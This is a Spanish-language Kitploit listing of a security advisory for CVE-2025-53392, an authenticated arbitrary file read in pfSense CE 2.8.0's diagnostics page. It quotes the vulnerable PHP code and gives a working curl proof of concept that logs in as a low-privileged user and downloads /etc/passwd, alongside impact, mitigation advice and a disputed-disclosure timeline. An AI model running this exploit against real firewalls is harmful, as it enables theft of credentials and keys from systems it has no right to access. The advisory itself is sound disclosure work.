Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pfsense-security-research — Lectura arbitraria de archivos autenticada en pfSense 2.8.0 a través de la interfaz web de Diagnostics (CVE-2025-53392) | Kitploit
Herramientas/GitHubGitHub/skraft9/pfsense-security-research
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónRed Teaming
GitHubskraft9/pfsense-security-research

pfsense-security-research

Lectura arbitraria de archivos autenticada en pfSense 2.8.0 a través de la interfaz web de Diagnostics (CVE-2025-53392)

Ver Repositorio
14hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Lectura Arbitraria de Archivos Autenticada en pfSense 2.8.0 a través de la Interfaz Web de Diagnóstico

ID de CVE: CVE-2025-53392

Fecha: 2025-06-27

Autor: Seth Kraft

Página web del proveedor: https://www.netgate.com/

Registro de cambios del proveedor: https://docs.netgate.com/pfsense/en/latest/releases/

Enlace del software: https://www.pfsense.org/download/

Versión: pfSense CE 2.8.0

ID de CWE: CWE-36 (Recorrido de ruta absoluta)

Puntuación base CVSS: 6.5 (Media)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Tipo: Lectura arbitraria de archivos autenticada / Divulgación de archivos locales


Autorización

Solo con fines de prueba e investigación autorizados. No pruebe ni explote esta vulnerabilidad en sistemas que no posea o para los que no tenga permiso explícito.


Resumen

pfSense CE 2.8.0 contiene una vulnerabilidad de divulgación de archivos locales en la página de diagnóstico diag_command.php, que permite a los usuarios autenticados descargar archivos arbitrarios del sistema de archivos subyacente.

Esta funcionalidad carece de cualquier saneamiento de rutas, restricción de directorios o controles de acceso más allá de la asignación de permisos.


Detalles

La lógica vulnerable se encuentra en el archivo src/usr/local/www/diag_command.php:

root@kitploit:~
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

No se aplican comprobaciones de seguridad ni medidas de saneamiento al parámetro dlPath controlado por el usuario.

Cualquier ruta de archivo que el proceso PHP pueda leer se devolverá al usuario.


Prueba de concepto

Crear el grupo low-priv y asignar un único privilegio (WebCfg - Diagnostics: Command) Screenshot 2025-06-27 133201

Si bien reconozco la presencia de un aviso de seguridad para el privilegio WebCfg - Diagnostics: Command, los avisos por sí solos no reemplazan un control de acceso sólido.

La frase “Permitir acceso a la página de comandos de diagnóstico” es ambigua y subestima el riesgo; habilita la ejecución de comandos a nivel root sin restricciones, no solo el acceso de diagnóstico.

Las etiquetas de privilegio en una interfaz web deben reflejar con precisión el alcance y la gravedad de las acciones que permiten, especialmente cuando exponen un control administrativo total.

Asignar el grupo low-priv al usuario dev Screenshot 2025-06-27 133218

Esta prueba de concepto demuestra que un usuario con solo el permiso WebCfg - Diagnostics: Command puede exfiltrar /etc/passwd abusando del parámetro dlPath sin sanear.

root@kitploit:~
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

Demostración

pfSense-authenticated-file-disclosure-poc


Impacto

Cualquier usuario de pfSense con el privilegio WebCfg - Diagnostics: Command puede:

  • Leer archivos locales sensibles del sistema
  • Extraer copias de seguridad, credenciales y claves
  • Acceder a archivos mucho más allá de sus permisos previstos

Esto viola el principio de mínimo privilegio y rompe los límites lógicos de privilegios.


Mitigación sugerida

  1. Restrinja dlPath a un directorio base seguro (p. ej., /tmp) usando realpath() y verificación de prefijo
  2. Elimine o bloquee rutas con .. o rutas absolutas
  3. Solo permita descargas de archivos en una lista blanca o en un directorio temporal de artefactos

Cronología de divulgación

  • 2025-06-26: Vulnerabilidad reportada a Netgate
  • 2025-06-27: Netgate respondió, descartando el problema como comportamiento previsto
  • 2025-06-27: El investigador respondió con una refutación técnica; el proveedor reiteró el descarte
  • 2025-06-27: El investigador inició la divulgación pública debido al descarte final del proveedor y solicitó la asignación de CVE a MITRE
  • 2025-06-28: MITRE asignó CVE-2025-53392 con la etiqueta de disputa del proveedor

Respuesta de Netgate

Si bien el proveedor afirma que el acceso a esta página equivale a root, esto confunde los permisos a nivel web con el acceso sin restricciones al backend.

El privilegio debe aplicarse técnicamente (no asumirse), y las advertencias en la interfaz de usuario no sustituyen un diseño seguro.


Cuestionando la afirmación del proveedor de que esta funcionalidad está “bien documentada”: no encontré ninguna mención en la documentación de Privilegios de Usuario de pfSense que establezca que el permiso WebCfg - Diagnostics: Command equivale a acceso a nivel root. Screenshot 2025-06-28 235613


El proveedor quizás se refería a la página de Comandos de Diagnóstico, que incluye una advertencia general sobre el mal uso.

Pero la documentación no vincula explícitamente esta funcionalidad con el privilegio WebCfg - Diagnostics: Command ni aclara que otorga acceso a nivel root.


Expectativas de seguridad para interfaces de diagnóstico

El módulo de diagnóstico dentro de la interfaz web de un firewall debería contener salvaguardias adecuadas para prevenir el abuso contra el sistema operativo subyacente.

  • Los comandos de diagnóstico deberían limitarse funcionalmente a ping, traceroute, vista de registros, etc.
  • Los comandos deberían ejecutarse dentro de un shell restringido o chroot.
  • El acceso a archivos debería estar explícitamente acotado a directorios seguros (/tmp, /var/log).
  • Los permisos deberían ser granulares y claros en su alcance.

Descargo de responsabilidad

Este trabajo se realizó fuera de mi empleo y refleja mis esfuerzos personales en la investigación de ciberseguridad.

Descargar herramienta